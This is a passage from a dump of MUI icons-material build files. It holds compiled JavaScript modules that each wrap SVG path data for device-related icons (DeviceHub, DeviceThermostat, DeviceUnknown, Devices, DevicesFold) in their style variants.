    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17 16-4-4V8.82C14.16 8.4 15 7.3 15 6c0-1.66-1.34-3-3-3S9 4.34 9 6c0 1.3.84 2.4 2 2.82V12l-4 4H3v5h5v-3.05l4-4.2 4 4.2V21h5v-5z\"\n}), 'DeviceHub');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeviceHubOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17 16-4-4V8.82C14.16 8.4 15 7.3 15 6c0-1.66-1.34-3-3-3S9 4.34 9 6c0 1.3.84 2.4 2 2.82V12l-4 4H3v5h5v-3.05l4-4.2 4 4.2V21h5v-5z\"\n}), 'DeviceHubOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeviceHubOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17 16-4-4V8.82C14.16 8.4 15 7.3 15 6c0-1.66-1.34-3-3-3S9 4.34 9 6c0 1.3.84 2.4 2 2.82V12l-4 4H3v5h5v-3.05l4-4.2 4 4.2V21h5v-5z\"\n}), 'DeviceHubOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeviceHubRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17 16-4-4V8.82c1.35-.49 2.26-1.89 1.93-3.46-.25-1.18-1.23-2.12-2.42-2.32C10.63 2.73 9 4.17 9 6c0 1.3.84 2.4 2 2.82V12l-4 4H4c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-2.05l4-4.2 4 4.2V20c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1z\"\n}), 'DeviceHubRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeviceHubRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17 16-4-4V8.82c1.35-.49 2.26-1.89 1.93-3.46-.25-1.18-1.23-2.12-2.42-2.32C10.63 2.73 9 4.17 9 6c0 1.3.84 2.4 2 2.82V12l-4 4H4c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-2.05l4-4.2 4 4.2V20c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1z\"\n}), 'DeviceHubRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeviceHubSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17 16-4-4V8.82C14.16 8.4 15 7.3 15 6c0-1.66-1.34-3-3-3S9 4.34 9 6c0 1.3.84 2.4 2 2.82V12l-4 4H3v5h5v-3.05l4-4.2 4 4.2V21h5v-5z\"\n}), 'DeviceHubSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeviceHubSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17 16-4-4V8.82C14.16 8.4 15 7.3 15 6c0-1.66-1.34-3-3-3S9 4.34 9 6c0 1.3.84 2.4 2 2.82V12l-4 4H3v5h5v-3.05l4-4.2 4 4.2V21h5v-5z\"\n}), 'DeviceHubSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeviceHubTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17 16-4-4V8.82C14.16 8.4 15 7.3 15 6c0-1.66-1.34-3-3-3S9 4.34 9 6c0 1.3.84 2.4 2 2.82V12l-4 4H3v5h5v-3.05l4-4.2 4 4.2V21h5v-5z\"\n}), 'DeviceHubTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeviceHubTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17 16-4-4V8.82C14.16 8.4 15 7.3 15 6c0-1.66-1.34-3-3-3S9 4.34 9 6c0 1.3.84 2.4 2 2.82V12l-4 4H3v5h5v-3.05l4-4.2 4 4.2V21h5v-5z\"\n}), 'DeviceHubTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeviceThermostat.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 13V5c0-1.66-1.34-3-3-3S9 3.34 9 5v8c-1.21.91-2 2.37-2 4 0 2.76 2.24 5 5 5s5-2.24 5-5c0-1.63-.79-3.09-2-4m-4-8c0-.55.45-1 1-1s1 .45 1 1h-1v1h1v2h-1v1h1v2h-2z\"\n}), 'DeviceThermostat');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeviceThermostat.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 13V5c0-1.66-1.34-3-3-3S9 3.34 9 5v8c-1.21.91-2 2.37-2 4 0 2.76 2.24 5 5 5s5-2.24 5-5c0-1.63-.79-3.09-2-4m-4-8c0-.55.45-1 1-1s1 .45 1 1h-1v1h1v2h-1v1h1v2h-2z\"\n}), 'DeviceThermostat');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeviceThermostatOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 13V5c0-1.66-1.34-3-3-3S9 3.34 9 5v8c-1.21.91-2 2.37-2 4 0 2.76 2.24 5 5 5s5-2.24 5-5c0-1.63-.79-3.09-2-4m-4-2V5c0-.55.45-1 1-1s1 .45 1 1v1h-1v1h1v2h-1v1h1v1z\"\n}), 'DeviceThermostatOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeviceThermostatOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 13V5c0-1.66-1.34-3-3-3S9 3.34 9 5v8c-1.21.91-2 2.37-2 4 0 2.76 2.24 5 5 5s5-2.24 5-5c0-1.63-.79-3.09-2-4m-4-2V5c0-.55.45-1 1-1s1 .45 1 1v1h-1v1h1v2h-1v1h1v1z\"\n}), 'DeviceThermostatOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeviceThermostatRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 13V5c0-1.66-1.34-3-3-3S9 3.34 9 5v8c-1.21.91-2 2.37-2 4 0 2.76 2.24 5 5 5s5-2.24 5-5c0-1.63-.79-3.09-2-4m-4-2V5c0-.55.45-1 1-1s1 .45 1 1v1h-1v1h1v2h-1v1h1v1z\"\n}), 'DeviceThermostatRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeviceThermostatRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 13V5c0-1.66-1.34-3-3-3S9 3.34 9 5v8c-1.21.91-2 2.37-2 4 0 2.76 2.24 5 5 5s5-2.24 5-5c0-1.63-.79-3.09-2-4m-4-2V5c0-.55.45-1 1-1s1 .45 1 1v1h-1v1h1v2h-1v1h1v1z\"\n}), 'DeviceThermostatRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeviceThermostatSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 13V5c0-1.66-1.34-3-3-3S9 3.34 9 5v8c-1.21.91-2 2.37-2 4 0 2.76 2.24 5 5 5s5-2.24 5-5c0-1.63-.79-3.09-2-4m-4-2V5c0-.55.45-1 1-1s1 .45 1 1v1h-1v1h1v2h-1v1h1v1z\"\n}), 'DeviceThermostatSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeviceThermostatSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 13V5c0-1.66-1.34-3-3-3S9 3.34 9 5v8c-1.21.91-2 2.37-2 4 0 2.76 2.24 5 5 5s5-2.24 5-5c0-1.63-.79-3.09-2-4m-4-2V5c0-.55.45-1 1-1s1 .45 1 1v1h-1v1h1v2h-1v1h1v1z\"\n}), 'DeviceThermostatSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeviceThermostatTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 13V5c0-1.66-1.34-3-3-3S9 3.34 9 5v8c-1.21.91-2 2.37-2 4 0 2.76 2.24 5 5 5s5-2.24 5-5c0-1.63-.79-3.09-2-4m-4-2V5c0-.55.45-1 1-1s1 .45 1 1v1h-1v1h1v2h-1v1h1v1z\"\n}), 'DeviceThermostatTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeviceThermostatTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 13V5c0-1.66-1.34-3-3-3S9 3.34 9 5v8c-1.21.91-2 2.37-2 4 0 2.76 2.24 5 5 5s5-2.24 5-5c0-1.63-.79-3.09-2-4m-4-2V5c0-.55.45-1 1-1s1 .45 1 1v1h-1v1h1v2h-1v1h1v1z\"\n}), 'DeviceThermostatTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeviceUnknown.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 18H7V5h10zM12 6.72c-1.96 0-3.5 1.52-3.5 3.47h1.75c0-.93.82-1.75 1.75-1.75s1.75.82 1.75 1.75c0 1.75-2.63 1.57-2.63 4.45h1.76c0-1.96 2.62-2.19 2.62-4.45 0-1.96-1.54-3.47-3.5-3.47m-.88 8.8h1.76v1.76h-1.76z\"\n}), 'DeviceUnknown');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeviceUnknown.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 18H7V5h10zM12 6.72c-1.96 0-3.5 1.52-3.5 3.47h1.75c0-.93.82-1.75 1.75-1.75s1.75.82 1.75 1.75c0 1.75-2.63 1.57-2.63 4.45h1.76c0-1.96 2.62-2.19 2.62-4.45 0-1.96-1.54-3.47-3.5-3.47m-.88 8.8h1.76v1.76h-1.76z\"\n}), 'DeviceUnknown');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeviceUnknownOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 18H7V5h10zM12 6.72c-1.96 0-3.5 1.52-3.5 3.47h1.75c0-.93.82-1.75 1.75-1.75s1.75.82 1.75 1.75c0 1.75-2.63 1.57-2.63 4.45h1.76c0-1.96 2.62-2.19 2.62-4.45 0-1.96-1.54-3.47-3.5-3.47M11 16h2v2h-2z\"\n}), 'DeviceUnknownOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeviceUnknownOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 18H7V5h10zM12 6.72c-1.96 0-3.5 1.52-3.5 3.47h1.75c0-.93.82-1.75 1.75-1.75s1.75.82 1.75 1.75c0 1.75-2.63 1.57-2.63 4.45h1.76c0-1.96 2.62-2.19 2.62-4.45 0-1.96-1.54-3.47-3.5-3.47M11 16h2v2h-2z\"\n}), 'DeviceUnknownOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeviceUnknownRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 18H7V5h10zm-6-3h2v2h-2zm-1.48-5.81h.13c.33 0 .59-.23.7-.54.24-.69.91-1.21 1.66-1.21.93 0 1.75.82 1.75 1.75 0 1.32-1.49 1.55-2.23 2.82h-.01c-.08.14-.14.29-.2.45-.01.02-.02.03-.02.05-.01.02-.01.04-.01.05-.1.31-.16.66-.16 1.08h1.76c0-.25.04-.47.12-.67.54-1.47 2.77-1.86 2.48-4.18-.19-1.55-1.43-2.84-2.98-3.04-1.77-.23-3.29.78-3.81 2.3-.2.56.23 1.14.82 1.14\"\n}), 'DeviceUnknownRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeviceUnknownRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 18H7V5h10zm-6-3h2v2h-2zm-1.48-5.81h.13c.33 0 .59-.23.7-.54.24-.69.91-1.21 1.66-1.21.93 0 1.75.82 1.75 1.75 0 1.32-1.49 1.55-2.23 2.82h-.01c-.08.14-.14.29-.2.45-.01.02-.02.03-.02.05-.01.02-.01.04-.01.05-.1.31-.16.66-.16 1.08h1.76c0-.25.04-.47.12-.67.54-1.47 2.77-1.86 2.48-4.18-.19-1.55-1.43-2.84-2.98-3.04-1.77-.23-3.29.78-3.81 2.3-.2.56.23 1.14.82 1.14\"\n}), 'DeviceUnknownRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeviceUnknownSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 1H5v22h14zm-2 18H7V5h10zM12 6.72c-1.96 0-3.5 1.52-3.5 3.47h1.75c0-.93.82-1.75 1.75-1.75s1.75.82 1.75 1.75c0 1.75-2.63 1.57-2.63 4.45h1.76c0-1.96 2.62-2.19 2.62-4.45 0-1.96-1.54-3.47-3.5-3.47M11 16h2v2h-2z\"\n}), 'DeviceUnknownSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeviceUnknownSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 1H5v22h14zm-2 18H7V5h10zM12 6.72c-1.96 0-3.5 1.52-3.5 3.47h1.75c0-.93.82-1.75 1.75-1.75s1.75.82 1.75 1.75c0 1.75-2.63 1.57-2.63 4.45h1.76c0-1.96 2.62-2.19 2.62-4.45 0-1.96-1.54-3.47-3.5-3.47M11 16h2v2h-2z\"\n}), 'DeviceUnknownSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeviceUnknownTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 19h10V5H7zm6-1h-2v-2h2zM12 6.72c1.96 0 3.5 1.51 3.5 3.47 0 2.26-2.62 2.49-2.62 4.45h-1.76c0-2.88 2.63-2.7 2.63-4.45 0-.93-.82-1.75-1.75-1.75s-1.75.82-1.75 1.75H8.5c0-1.95 1.54-3.47 3.5-3.47\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 16h2v2h-2zm6-15H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 18H7V5h10zM12 8.44c.93 0 1.75.82 1.75 1.75 0 1.75-2.63 1.57-2.63 4.45h1.76c0-1.96 2.62-2.19 2.62-4.45 0-1.96-1.54-3.47-3.5-3.47s-3.5 1.52-3.5 3.47h1.75c0-.93.82-1.75 1.75-1.75\"\n}, \"1\")], 'DeviceUnknownTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeviceUnknownTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 19h10V5H7zm6-1h-2v-2h2zM12 6.72c1.96 0 3.5 1.51 3.5 3.47 0 2.26-2.62 2.49-2.62 4.45h-1.76c0-2.88 2.63-2.7 2.63-4.45 0-.93-.82-1.75-1.75-1.75s-1.75.82-1.75 1.75H8.5c0-1.95 1.54-3.47 3.5-3.47\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 16h2v2h-2zm6-15H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 18H7V5h10zM12 8.44c.93 0 1.75.82 1.75 1.75 0 1.75-2.63 1.57-2.63 4.45h1.76c0-1.96 2.62-2.19 2.62-4.45 0-1.96-1.54-3.47-3.5-3.47s-3.5 1.52-3.5 3.47h1.75c0-.93.82-1.75 1.75-1.75\"\n}, \"1\")], 'DeviceUnknownTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Devices.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6h18V4H4c-1.1 0-2 .9-2 2v11H0v3h14v-3H4zm19 2h-6c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h6c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1m-1 9h-4v-7h4z\"\n}), 'Devices');"
  },
  {
    "path": "packages/mui-icons-material/lib/Devices.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6h18V4H4c-1.1 0-2 .9-2 2v11H0v3h14v-3H4zm19 2h-6c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h6c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1m-1 9h-4v-7h4z\"\n}), 'Devices');"
  },
  {
    "path": "packages/mui-icons-material/lib/DevicesFold.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 3h-3c0-1.43-1.47-2.4-2.79-1.84l-3 1.29C10.48 2.76 10 3.49 10 4.29V19c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16h-5.33l1.12-.48c.73-.32 1.21-1.04 1.21-1.84V5h3zM2 3h2v2H2zm0 16h2v2H2zm0-4h2v2H2zm0-4h2v2H2zm0-4h2v2H2zm4-4h2v2H6zm0 16h2v2H6z\"\n}), 'DevicesFold');"
  },
  {
    "path": "packages/mui-icons-material/lib/DevicesFold.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 3h-3c0-1.43-1.47-2.4-2.79-1.84l-3 1.29C10.48 2.76 10 3.49 10 4.29V19c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16h-5.33l1.12-.48c.73-.32 1.21-1.04 1.21-1.84V5h3zM2 3h2v2H2zm0 16h2v2H2zm0-4h2v2H2zm0-4h2v2H2zm0-4h2v2H2zm4-4h2v2H6zm0 16h2v2H6z\"\n}), 'DevicesFold');"
  },
  {
    "path": "packages/mui-icons-material/lib/DevicesFoldOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 3h-3c0-1.44-1.47-2.4-2.79-1.84l-3 1.29C10.48 2.76 10 3.49 10 4.29V19c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-5 13.68-3 1.29V4.29L15 3zM20 19h-5.33l1.12-.48c.73-.32 1.21-1.04 1.21-1.84V5h3zM2 3h2v2H2zm0 16h2v2H2zm0-4h2v2H2zm0-4h2v2H2zm0-4h2v2H2zm4-4h2v2H6zm0 16h2v2H6z\"\n}), 'DevicesFoldOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DevicesFoldOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 3h-3c0-1.44-1.47-2.4-2.79-1.84l-3 1.29C10.48 2.76 10 3.49 10 4.29V19c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-5 13.68-3 1.29V4.29L15 3zM20 19h-5.33l1.12-.48c.73-.32 1.21-1.04 1.21-1.84V5h3zM2 3h2v2H2zm0 16h2v2H2zm0-4h2v2H2zm0-4h2v2H2zm0-4h2v2H2zm4-4h2v2H6zm0 16h2v2H6z\"\n}), 'DevicesFoldOutlined');"
